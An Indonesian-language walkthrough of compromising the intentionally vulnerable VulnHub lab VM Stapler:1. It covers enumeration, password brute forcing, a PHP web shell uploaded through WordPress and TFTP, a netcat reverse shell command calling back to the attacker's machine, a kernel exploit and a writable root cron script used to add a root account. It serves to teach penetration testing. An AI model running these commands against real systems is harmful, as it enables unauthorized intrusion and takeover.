Daftar Isi:
- Latar Belakang
- Mempersiapkan Virtual Machine
- Pengumpulan Informasi / Information Gathering
- Enumerasi Layanan / Service Enumeration
- Mengexploitasi / Exploit
- Meningkatkan Hak Akses / Privilege Escalation
- Selanjutnya
Latar Belakang
Stapler:1 adalah sebuah Virtual Machine (VM) dimana Sistem Operasi dan aplikasi yang berjalan diatasnya sengaja dibuat rentan / vulnerable sehingga dapat dieksploitasi. Tujuannya adalah agar kita dapat belajar mendeteksi, menganalisa dan kemudian mengeksploitasi kelemahan maupun kesalahan konfigurasi yang ada pada Aplikasi dan Sistem Operasi. Proses pembelajaran ini sangat berguna bagi kita yang berprofesi sebagai penguji keamanan Informasi / Security Penetration Tester dan juga yang bertugas mengamankan aset Informasi / Security defense professional.
VM ini disediakan secara gratis dan dapat diunduh langsung dari web vulnhub.com . Dalam artikel ini, saya mencoba membahas selangkah demi selangkah bagaimana kita mengidentifikasi, menganalisa dan kemudian mengeksploitasi kelemahan yang ada untuk mendapatkan hak akses ke VM tersebut sebagai “root”.
Semoga artikel ini bermanfaat dan dapat memberikan pelajaran bagi saya pribadi dan juga pembaca.
Mempersiapkan Virtual Machine (VM)
Tentu hal pertama yang perlu kita lakukan adalah mempersiapkan semua kebutuhan seperti:
- Download Stapler:1 VM di vulnhub.com
- Download KALI Linux VM di kali.org. Apabila menggunakan distribusi linux lainnya, pastikan tools seperti nmap, metasploit framework, dirbuster, nikto, burpsuite dan wpscan telah terinstall
- Download Vmware Workstation atau Virtualbox apabila anda menggunakan windows atau Vmware Fusion apabila menggunakan MAC.
Setelah itu, ikuti langkah berikut untuk memastikan Stapler:1 VM dan Kali Linux VM dapat berjalan di Vmware Player atau di Vmware Fussion. Pada kesempatan ini, saya menggunakan Vmware Fusion namun seharusnya tidak jauh berbeda apabila anda menggunakan Vmware player ataupun Virtualbox.
1.Unzip Stapler.zip2. 2.Import Stapler.ovf dari VmwareFusion
3.Apabila ada error bahwa OVF tidak sesuai dengan standar VM, klik retry untuk melanjutkan
4.Apabila tidak ada kendala, VM akan otomatis hidup dan pastikan Network adapter VM di set ke “Share with my Mac” agar VM Kali linux yang akan kita gunakan sebagai attack platform dapat mengakses Stapler VM dan juga Internet.
Pengumpulan Informasi / Information Gathering
Sebelum kita menganalisa dan kemudian mengeksploitasi kerentanan yang ada di VM Stapler:1, kita harus terlebih dahulu mengumpulkan Informasi sebanyak mungkin tentang Sistem Operasi (OS) serta aplikasi-aplikasi yang digunakan. Kita mulai aktifitas pengumpulan Informasi ini dengan terlebih dahulu mengidentifikasi alamat IP Stapler:1 menggunakan nmap. Alamat IP yang diberikan oleh Vmware Fusion ke Kali Linux VM saya adalah 172.16.65.141/24 sehingga dapat dipastikan bahwa stapler:1 juga akan mendapatkan IP di segment network yang sama karena network adapter kedua VM tersebut telah di set ke “Share with my Mac”. Untuk itu, kita akan melakukan scan terhadap segment network tersebut menggunakan perintah nmap berikut:
nmap -Pn 172.16.65.0/24
Dari hasil scan diatas, kita akhirnya dapat mengetahui alamat IP yang digunakan oleh Stapler:1 yaitu 172.16.65.162
Selain mengetahui alamat IP, kita juga dapat melihat TCP port yang terbuka di stapler:1. Namun demikian, proses scanning ini tidak komprehensive dan hanya melakukan probing terhadap TCP port yang umum dan sering digunakan. Agar tidak ada satu port pun yang terlewatkan, kita lakukan “all-port scanning” berikut ini:
nmap -Pn -p- 172.16.65.162
Selain itu, kita juga perlu memastikan apakah ada layanan yang berjalan di port UDP dengan melakukan UDP scan.
Setelah melakukan “all-port scanning” kita dapat melihat adanya TCP port tambahan yang terbuka yaitu TCP 12380 dan juga UDP port 53,68,69,137,138
Enumerasi Layanan / Service Enumeration
Langkah selanjutnya adalah melakukan enumerasi terhadap semua layanan yang tersedia di stapler. Hal ini perlu kita lakukan karena kerentanan pada suatu aplikasi atau layanan hanya akan dapat teridentifikasi apabila kita mengetahui secara mendalam tentang layanan tersebut. Berdasarkan hasil scan sebelumnya, kita bisa melihat adanya layanan FTP, SSH, DNS server, HTTP,SMB, game DOOM?, MySQL server dan TCP port 12380 yang belum diketahui jenis layanan yang diberikan.
Enumerasi FTP & TFTP
Di tahap pertama, kita mencoba memanfaatkan NSE script terkait FTP untuk mengetahui versi berikut dengan beberapa cek lainnya seperti anonymous access. Berikut hasil scan yang kita dapatkan
- FTP Version
- FTP Anonymous access check
Hal yang menarik dari hasil diatas adalah diperbolehkannya login ke FTP server sebagai anonymous. Untuk itu, kita akan memanfaatkan hak akses ini untuk melihat Informasi lainnya yang mungkin bermanfaat.
Setelah masuk ke FTP server menggunakan anonymous, kita menjumpai satu file dengan nama “note”. Untuk itu, kita coba unduh file tersebut dan kemudian membaca isinya.
Dari Informasi diatas, kita dapat berasumsi bahwa terdapat username “elly” dan “john” di sistem namun hal tersebut perlu dibuktikan kebenarannya dengan melakukan brute force ke FTP server menggunakan wordlist yang tersedia sebagai password.
Berikut adalah hasil brute force ke FTP server menggunakan metasploit
Sangat disayangkan proses brute force terhenti sebelum semua kombinasi password dicoba. Hal ini terjadi karena FTP Server sepertinya menerapkan maximum failed login dimana koneksi akan terputus untuk sementara setelah terjadi beberapa kegagalan login. Dalam hal ini kita belum bisa menyimpulkan ada atau tidaknya username “elly” dan “john” di sistem.
Kita beralih ke enumerasi selanjutnya yaitu layanan TFTP di port UDP 69. Berdasarkan hasil scan Nmap sebelumnya, terdapat kemungkinan adanya layanan TFTP. Untuk itu, kita coba validasi dengan mengakses tftp tersebut.
Layanan TFTP berhasil diakses tanpa harus menggunakan username dan password yang sah. Dengan akses ini kita mencoba mengunduh file “/etc/passwd” namun tidak berhasil. Hal ini mungkin terjadi karena root directory TFTP tidak berada di root directory Sistem Operasi (OS). Namun demikian, kita berhasil mengupload file test.txt ke server TFTP. Fakta ini akan kita simpan untuk proses selanjutnya. Berikut isi file test.txt
Enumerasi FTP dan TFTP sepertinya sudah cukup dan kita akan melakukan enumerasi terhadap layanan berikutnya yaitu SSH
Enumerasi SSH
Secured Socket Shell (SSH) merupakan salah satu pintu masuk potensial ke target. Untuk itu, kita mencoba mengenumerasi layanan ini dengan harapan mendapati versi SSH yang rentan sehingga dapat dieksploitasi.
root@kali:~/TEST# nmap -p22 --script ssh*,banner 172.16.65.162
Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-14 11:58 WIB
Nmap scan report for 172.16.65.162
Host is up (0.00056s latency).
PORT STATE SERVICE
22/tcp open ssh
|_banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|_ 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
| ssh2-enum-algos:
| kex_algorithms: (6)
| curve25519-sha256@libssh.org
| ecdh-sha2-nistp256
| ecdh-sha2-nistp384
| ecdh-sha2-nistp521
| diffie-hellman-group-exchange-sha256
| diffie-hellman-group14-sha1
| server_host_key_algorithms: (5)
| ssh-rsa
| rsa-sha2-512
| rsa-sha2-256
| ecdsa-sha2-nistp256
| ssh-ed25519
| encryption_algorithms: (6)
| chacha20-poly1305@openssh.com
| aes128-ctr
| aes192-ctr
| aes256-ctr
| aes128-gcm@openssh.com
| aes256-gcm@openssh.com
| mac_algorithms: (10)
| umac-64-etm@openssh.com
| umac-128-etm@openssh.com
| hmac-sha2-256-etm@openssh.com
| hmac-sha2-512-etm@openssh.com
| hmac-sha1-etm@openssh.com
| umac-64@openssh.com
| umac-128@openssh.com
| hmac-sha2-256
| hmac-sha2-512
| hmac-sha1
| compression_algorithms: (2)
| none
|_ zlib@openssh.com
MAC Address: 00:0C:29:D1:8D:51 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 14.18 seconds
root@kali:~/TEST#
Dari hasil diatas, kita bisa berasumsi bahwa stapler:1 menggunakan versi SSH-2.0-OpenSSH_7.2p2. Kita akan memanfaatkan Informasi ini untuk mengetahui apakah SSH versi tersebut memiliki kerentanan yang dapat diexploitasi. Namun, kita coba untuk mengenumerasi layanan lain untuk mencari kelemahan yang mungkin lebih mudah dieksploitasi. Apabila tidak ada, kita akan kembali ke layanan SSH ini.
Enumerasi DNS Server
Domain Name System (DNS) server menyimpan banyak Informasi tentang host yang berada dalam ruang lingkup domain yang menjadi otoritas server tersebut (Authoritative Server). Sekurangnya server ini menyimpan mapping antara nama host dan alamat IP terkait. Informasi ini dapat membantu kita menganalisa fungsi dari host berikut dengan layanan yang diberikan. Untuk itu, kita mencoba mengidentifikasi versi DNS server di stapler:1 dan semoga ada kelemahan pada versi yang digunakan.
saat ini kita belum bisa mengenumerasi Informasi lebih banyak dari DNS server ini karena kita belum mengetahui apakah server ini authoritative terhadap suatu domain dan apabila benar maka kita membutuhkan nama domain tersebut.
Dengan hasil ini, kita akan stop enumerasi DNS untuk sementara waktu sampai kita mengetahui nama domain yang menjadi authoritative dari server ini.
Enumerasi HTTP
Layanan berikutnya yang perlu dienumerasi adalah HTTP. Seperti pada umumnya, TCP PORT 80 biasanya digunakan oleh web server yang menjalankan aplikasi. Untuk itu, kita akan validasi versi web server yang digunakan dan juga path aplikasi yang mungkin berjalan di web server ini menggunakan nikto.
Dari hasil scan nikto diatas, kita masih belum bisa melihat jenis web server yang digunakan oleh stapler:1. Namun ada hal menarik yaitu adanya file test.txt di web server. Untuk melihat lebih jelas, kita coba buka file tersebut dengan browser
Melihat isi file test.txt, tanpa disangka bahwa file tersebut adalah file yang sebelumnya kita upload melalui TFTP. Hasil ini sangat menggembirakan karena kita bisa mengakses file yang kita upload ke stapler:1. Temuan ini kita simpan terlebih dahulu dan akan kita gunakan saat eksploitasi. Kita akan lanjut dengan proses enumerasi lainnya
Enumerasi SMB
Server Message Block (SMB) adalah protokol yang biasanya digunakan untuk file sharring. Banyaknya kerentanan terkait dengan SMB dan juga Informasi yang mungkin tersimpan dan diakses melalui protokol ini membuat enumerasi SMB menjadi salah satu hal yang harus dilakukan. Untuk itu kita akan menggunakan NSE script dan juga enum4linux untuk melakukan enumerasi. Berikut adalah hasil enumerasi yang telah kita lakukan
Berikut ini juga sebagian dari hasil yang kita bisa dapatkan dari enum4linux
Dari Informasi diatas, kita bisa mengetahui bahwa terdapat beberapa network file share yang memberikan hak akses read dan write ke anonymous. Untuk itu kita coba memanfaatkan untuk masuk ke semua share folder diatas. Berikut hasil dari penelusuran isi share folder.
Setelah file-file tersebut berhasil diunduh, kita coba membaca Informasi yang terkandung di dalamnya untuk mendapatkan Informasi yang lebih dalam. Berikut hasil penelusuran Informasi dari file-file tersebut
masih dari file yang berhasil diunduh dari stapler, kita bisa melihat adanya file backup wordpress versi 4.2.1
Untuk melihat apakah ada perbedaan antara backup wordpress dengan versi wordpress aslinya, kita coba download wordpress versi 4.2.1 dari site resmi wordpress di https://wordpress.org/wordpress-4.2.1.tar.gz
Setelah itu kita coba bandingkan apakah ada perbedaan antara dua source wordpress yang kita dapatkan. Hal ini perlu dilakukan untuk mengidentifikasi perubahan atau penambahan konfigurasi yang dilakukan oleh pemilik sistem stapler.
Dari hasil diatas ternyata tidak ada yang berbeda antara wordpress yang kita unduh dari stapler dan dari situs wordpress resmi. Artinya tidak ada konfigurasi yang mungkin bisa membantu kita untuk mendapatkan hak akses ke stapler.
Hal yang sama juga terjadi pada file vsftpd.conf yang kita download dari stapler:1 dimana tidak ada perbedaan yang bisa memberikan kita Informasi yang berguna.
Masih dari hasil enum4linux, kita juga bisa mengetahui bahwa account lockout threshold tidak diset yang artinya account tidak akan terkunci apabila beberapa kali mengirim password yang salah. Konfigurasi ini memudahkan kita untuk melakukan brute force terhadap user account yang ada pada stapler:1.
yang lebih menggembirakan lagi, enum4linux berhasil mengenumerasi username yang ada di Sistem Operasi (OS) stapler:1.
Dari hasil diatas, kita buat daftar user dalam text file dan kemudian kita brute force setiap user tersebut melalui SMB dengan harapan bisa mendapatkan password milik salah satu user.
Brute force akun user melalui SMB bisa menggunakan module metasploit SMB_LOGIN seperti dibawah ini
Hasil brute force ternyata tidak memuaskan dimana metasploit berhenti saat proses authentikasi terhadap user tersebut berhasil meskipun hanya sebagai “guest”. Guest login memang diperbolehkan oleh SMB stapler:1 namun tentunya dengan hak akses yang sangat terbatas dan tidak bisa berinteraksi langsung dengan shell milik sistem operasi.
Namun demikian, hasil ini tidak sepenuhnya mengecewakan. List username ini akan kita brute force melalui layanan lain seperti SSH atau FTP. Kita akan bahas ini dibagian eksploitasi
Enumerasi DOOM
Layanan berikutnya yang perlu kita enumerasi adalah layanan yang berjalan di TCP port 666. Menurut IANA, TCP port 666 ini biasanya digunakan oleh game bernama DOOM namun tentu hal ini perlu kita validasi. Untuk itu, kita coba berinteraksi dengan layanan ini menggunakan nmap.
Dari Informasi diatas, terdapat beberapa data dalam format HEX dan juga ascii karakter yang dapat dibaca atau printable ascii yaitu message2.jpg. Namun untuk saat ini, Informasi tersebut belum bisa kita manfaatkan. Apabila seluruh Informasi yang kita dapatkan telah kita analisa dan belum juga menemukan pintu masuk ke sistem stapler:1, maka kita akan kembali menganalisa layanan ini
Enumerasi MySQL server
Layanan berikutnya yang tersedia di stapler:1 adalah MySQL server. Kita akan mencoba mengenumerasi Informasi sebanyak mungkin dari layanan ini dengan harapan mendapatkan pintu masuk melalui kerentanan yang telah terpublikasi maupun melalui proses brute force. Berikut hasil enumerasi menggunakan nmap scripting
Informasi ini memberikan kita string salt yang digunakan oleh MySQL saat melakukan hashing terhadap password. Selain itu, kita mencoba melakukan brute force menggunakan user account yang umum namun belum berhasil.
Informasi diatas telah memberikan kesan bahwa MySQL menerima remote login yang artinya kita punya kesempatan untuk masuk ke MySQL dari kali linux kita apabila kita memiliki username dan password yang benar. Untuk itu, kita berhenti sementara waktu untuk menelusuri layanan MySQL lebih jauh dan mencari Informasi lainnya yang mungkin lebih membantu
Enumerasi TCP port 12380
Setelah melakukan scanning terhadap semua port, kita mendapati adanya layanan yang berjalan di port TCP 12380. Kita belum mengetahui jenis aplikasi yang berjalan di port ini namun kita coba nmap menggunakan pilihan -A agar nmap bisa memilih script yang relavan untuk dijalankan.
Menurut Informasi diatas, layanan yang berjalan di port 12380 adalah aplikasi Apache veri 2.4.18 yang merupakan web server. Kita coba buka aplikasi tersebut menggunakan browser
Melihat isi html source dari halaman ini, kita bisa mengetahui bahwa gambar yang ditampilkan sebagai backgroud didapatkan bukan dari path atau url tertentu namun disertakan dalam http response dalam bentuk base64 encoded.
Sampai saat ini kita belum menemukan Informasi berarti. Untuk itu, kita akan gunakan nikto untuk melakukan penelusuran lebih dalam.
Informasi diatas mengindikasikan bahwa aplikasi web di port tcp 12380 menggunakan SSL. Selain itu, nikto berhasil mendeteksi adanya url path yang menarik yaitu /phpmyadmin, /admin112233, /blogblog dan juga file robots.txt. Kita akan telusuri semua path ini. Kita mulai dengan mengakses path /phpmyadmin
Halaman ini sangat berguna apabila kita sudah bisa menemukan username dan password untuk login ke MySQL. Dengan demikian, kita akan simpan hasil ini apabila dibutuhkan saat Informasi lainya ditemukan dan dapat dimanfaatkan untuk mengeksploitasi halaman ini. Selanjutnya kita mencoba membaca file robots.txt
setelah itu kita coba membuka path /admin112233 dan mendapatkan hasil berikut
Setelah kita klik OK, aplikasi menginstruksikan kita untuk re-direct ke situs www.xss-payload.com. Karena adanya redirect, kita coba tangkap HTTP response menggunakan burp suite
Dari hasil ini, kita belum memperoleh Informasi yang menarik. Untuk itu kita lanjut mengenumerasi path selanjutnya yaitu /blogblog
Informasi di atas sangat menarik dan kita mencoba mengidentifikasi apakah path /wp-admin tersedia
Hasil penelusuran kita sangat menjanjikan dimana kita bisa masuk ke aplikasi wordpress apabila kita mengetahui username dan password yang sah. Berangkat dari Informasi ini, kita coba lanjutkan enumerasi wordpress menggunakan wp-scan.
Hasil wp-scan sangat menggembirakan dimana terdapat beberapa kerentanan yang mungkin dapat dieksploitasi. Tidak kalah pentingnya, kita berhasil mengenumerasi username yang terdaftar di wordpress stapler:1
Mengexploitasi / Exploit
1. Cara pertama masuk ke shell dengan hak akses yang terbatas / low privilege access
Dengan ditemukannya username yang terdaftar di wordpress stapler:1, kita bisa mencoba melakukan brute force dengan harapan mendapati akun yang menggunakan password lemah. Untuk keperluan ini, kita akan menggunakan wordlist yang sudah tersedia di kali linux yaitu di /usr/share/wordlist/metasploit/password.lst
Hasil brute force sangat menggembirakan dimana username “john” merupakan administrator wordpress stapler:1.
Karena john merupakan administrator wordpress, kita coba mengunggah shell sederhana ke server stapler:1 melalui fitur wordpress “add plugin”. Fitur ini menggunakan directory “wp-content/uploads” sebagai penyimpanan sementara saat instalasi plugin berlangsung. Saat wordpress meminta kredensial FTP server stapler untuk menyelesaikan instalasi, kita bisa lewatkan saja karena kita hanya ingin mengunggah file shell dan bukan menambah plugin. Isi file shell.php yang kita unggah ke stapler:1 adalah
Setelah itu wordpress akan meminta kredensial FTP dan seperti yang kita bahas sebelumnya, kita bisa lewatkan proses ini. Untuk memastikan bahwa file myshell.php berhasil diunggah, kita dapat cek di bagian media
Saatnya kita mengeksekusi myshell.php dengan memberikan perintah yang kita inginkan melalui parameter “cmd” sebagai berikut.
Tentu akan lebih sempurna apabila kita dapat berinteraksi dengan Sistem Operasi (OS) stapler:1 melalui command prompt. Untuk itu, kita akan upgrade metode ini dengan koneksi netcat dengan mengetik perintah berikut di paramater cmd
https://172.16.65.162:12380/blogblog/wp-content/uploads/myshell.php?cmd=mknod /tmp/backpipe p
kemudian aktifkan netcat di Kali linux untuk menerima koneksi netcat dari stapler:1
Apabila netcat telah siap, kirim perintah untuk menginstruksikan stapler:1 untuk menginisasi koneksi ke Kali linux kita
https://172.16.65.162:12380/blogblog/wp-content/uploads/myshell.php?cmd=/bin/sh 0</tmp/backpipe | nc 172.16.65.141 443 1>/tmp/backpipe
Setelah koneksi netcat berhasil tersambung ke Kali linux, ketik perintah berikut agar kita bisa menggunakan bash shell.
echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
python /tmp/shell.py
Akhirnya kita bisa masuk dan berinteraksi dengan Sistem Operasi (OS) stapler:1 sebagai akun “www-data” yang memiliki hak akses terbatas.
2. Cara kedua masuk ke shell dengan hak akses yang terbatas / low privilege access
Selain melalui wordpress, kita juga bisa mengunggah php shell kita melalui TFTP seperti yang telah kita temukan sebelumnya saat melakukan enumerasi TFP. Untuk itu, kita akan menggunakan php shell yang sama namun dengan nama file yang berbeda agar tidak membingungkan. Kita akan memberikan nama shell ini dengan myshell2.php dan kemudian mengunggah file tersebut melalui TFTP
Seperti yang kita ketahui sebelumnya, file yang kita upload melalui TFTP ini akan tersimpan di root folder web server stapler:1 yang berjalan di port TCP 80. Dengan demikian, kita akan menggunakan protokol http untuk mengakses file tersebut.
Apabila file myshell2.php berhasil dieksekusi, kita akan menggunakan metode netcat yang sama seperti sebelumnya.
3.Cara ketiga masuk ke shell dengan hak akses yang terbatas / low privilege access
Alternatif lainnya untuk mendapatkan akses shell ke stapler:1 adalah dengan metode SSH brute force. Seperti yang kita ketahui sebelumnya, kita berhasil mendapatkan daftar akun Sistem Operasi (OS) saat kita mengenumerasi SMB. Bermodalkan Informasi ini, kita coba brute force akun tersebut dengan password yang sederhana yaitu nama akun sebagai password. Kita akan menggunakan metasploit module SSH brute force dengan pengaturan berikut
Dan tanpa disangka, ternyata akun “SHayslett” menggunakan nama akun sebagai password.
Karena metasploit secara otomatis membuka session SSH apabila brute force berhasil, maka kita bisa langsung menggunakan session tersebut untuk berinteraksi dengan stapler:1
Meningkatkan Hak Akses / Privilege Escalation
Perjalanan kita untuk mengambil-alih stapler:1 secara penuh belum selesai karena kita baru mendapatkan hak akses yang terbatas. Dalam kesempatan ini kita mencoba meningkatkan hak akses sebagai root dengan cara mencari kerentanan atau kesalahan konfigurasi yang dapat dieksploitasi. Menurut penelusuran saya, terdapat tiga metode untuk mencapai tujuan ini yaitu:
1. Cara pertama meningkatkan hak akses
Hal pertama yang kita lakukan setelah mendapatkan hak akses terbatas sebagai akun “SHayslett” adalah melakukan enumerasi di direktori home akun tersebut. Setelah itu memeriksa apakah direktori home milik akun lain juga dapat dibaca dengan mengetik perintah berikut
find /home/ -readable -type f 2>/dev/null
Dari hasil diatas, terlihat bahwa hampir seluruh direktori home akun lain dapat dibaca walaupun terdapat beberapa file yang diproteksi. Dari penelusuran tersebut, terdapat Informasi yang menarik dalam direktori home milik “peter” yaitu adanya nama file ” .sudo_as_admin_successful”
Setelah dibuka, ternyata file tersebut kosong. Namun Informasi ini mengindikasikan bahwa akun peter termasuk salah satu akun sudoer. Apabila kita bisa menemukan password milik peter maka kemungkinan besar kita bisa sudo ke akun root. Untuk itu, kita mencoba cari Informasi lainnya yang mungkin bisa menggiring kita ke tempat yang menyimpan password peter.
Penelusuran kemudian kita lanjutkan dengan melihat semua proses yang jalan dengan mengetik “ps -aux”.
Ada hal yang menarik dari Informasi diatas yaitu adanya proses yang dijalankan oleh akun “JKanode”. Untuk itu kita coba cek apa saja yang tersimpan dalam direktori home “Jkanode”.
Membaca file “.bash_history”, kita bisa melihat dengan jelas bahwa JKanode pernah menjalankan program sshpass menggunakan akun dan password peter. Dengan Informasi ini, kita coba substitute user (su) ke akun peter dan kemudian melakukan sudo su – untuk memvalidasi apakah akun peter termasuk salah satu sudoer.
Setelah masuk sebagai akun peter, kita kemudian lakukan sudo su – untuk meningkatkan hak akses. Apabila peter merupakan salah satu sudoer maka peningkatan hak akses ke root akan berhasil.
BOOM!!! ternyata benar akun peter merupakan salah satu sudoer sehingga kita bisa meningkatkan hak akses ke root melalui akun ini. Berikut ini adalah isi flag dalam direktori root
2. Cara kedua meningkatkan hak akses
Setelah mendapatkan hak akses terbatas sebagai akun “SHayslett”, kita coba mengenumerasi versi Sistem Operasi (OS) yang digunakan oleh stapler:1.
Mengetahui bahwa Sistem Operasi yang digunakan stapler:1 adalah ubuntu 16.04, kita coba mencari apakah ada kelemahan pada Sistem Operasi ini yang dapat memberikan peningkatan hak akses kepada akun biasa. Setelah menelusuri google, kita menjumpai eksploit di https://www.exploit-db.com/exploits/39772/ dimana terdapat kelemahan di linux kernel versi 4.4.x. Kelemahan ini dapat dieksploitasi sehingga dapat memberikan hak akses root ke akun biasa.
Kita coba memanfaatkan kelemahan ini dengan terlebih dahulu mengunduh eksploitnya di Kali linux kita dan kemudian mengkopi nya ke stapler:1 melalui scp.
Setelah itu kita ekstrak file exploit.tar dan kemudian mengeksekusi file compile.sh dan kemudian setelah itu mengeksekusi program doubleput untuk meningkatkan hak akses ke root
BOOM!! kita akhirnya mendapatkan hak akses sebagai root
3.Cara ketiga meningkatkan hak akses
Dimulai dari hak akses terbatas sebagai akun “SHayslett”, kita akan mencoba melakukan enumerasi lebih rinci terhadap Sistem Operasi, aplikasi dan konfigurasi terkait menggunakan script LinuxPrivChecker.py. Script ini akan menjalankan puluhan perintah yang dapat memberikan Informasi kepada kita dalam menganalisa potensi kerentanan yang dapat dimanfaatkan untuk meningkatkan hak akses. Script ini dapat diunduh di http://www.securitysift.com/download/linuxprivchecker.py
Untuk itu, kita harus terlebih dahulu mengunggah / upload script LinuxPrivChecker.py dari Kali linux ke stapler:1 melalui SCP dan menggunakan akun “SHayslett”.
Setelah itu, kita masuk ke stapler:1 melalui SSH dan menggunakan akun “SHayslett” agar kita dapat menjalankan script LinuxPrivChecker.
Dari sekian banyak Informasi yang kita peroleh melalui script LinuxPrivChecker, ada hal menarik yang tersimpan dalam direktori /etc/cron.d. Seperti yang telah kita ketahui, direktori ini menyimpan scripts yang dieksekusi dalam konteks akun “root” pada jadwal yang ditentukan atau scheduled tasks. Artinya, scripts yang ada dalam direktori ini akan dieksekusi atas nama akun “root”. Scripts ini biasanya dalam format atau dibuat dengan program crontab. Berikut isi direktori /etc/cron.d
Kalau kita lihat isi file crontab logrotate, kita menemukan Informasi berikut
Dari Informasi ini kita bisa mengetahui bahwa script logrotate akan mengeksekusi script bernama cron-logrotate.sh setiap 5 menit sekali. Hal ini terlihat dengan adanya simbol “*/5” diawal baris script. Sementara script cron-logrotate.sh sendiri berisi satu baris Informasi yang tidak akan dieksekusi atau commented out.
Setelah itu, kita kemudian melihat Informasi penting lainnya dari hasil LinuxPrivChecker.py dan menemukan bahwa script “cron-logrotate.sh” dapat diedit oleh siapapun termasuk oleh akun “SHayslett” yang kita gunakan saat ini.
Karena script ini akan dieksekusi atas nama akun “root” seperti penjelasan sebelumnya, kita akan memanfaatkannya untuk menjalankan program yang bisa membuat akun baru setingkat root. Program ini bisa kita buat dengan bantuan msfvenom yang telah tersedia di kali linux kita. Akun yang akan kita tambahkan bernama “skywalker” dengan password “password”
Setelah program berhasil dibuat, kita unggah program tersebut ke stapler:1 menggunakan SCP
Untuk memastikan program “tambah-akun” dapat dieksekusi oleh cron scheduler di stapler:1 , kita harus memberikan hak akses “executable” untuk semua user di program tersebut
Selanjutnya kita edit script “cron-logrotate” agar mengeksekusi program “tambah-akun” yang kemudian membuat akun baru setingkat root.
Dalam rentang waktu sekitar 5 menit, maka akun baru bernama “skywalker” akan tersedia di stapler:1
Setelah itu, untuk meningkatkan hak akses ke root, kita melakukan subtitute user atau su ke akun skywalker dan menggunakan password “password”.
BOOM!!! kita berhasil mendapatkan hak akses sebagai root.
Selanjutnya
Selamat mencoba dan apabila memungkinkan cari kerentanan lainnya untuk masuk ke Sistem Operasi (OS) stapler:1 dengan hak akses terbatas. Mungkin terdapat beberapa kerentanan lainnya yang bisa dimanfaatkan untuk meningkatkan hak akses ke root.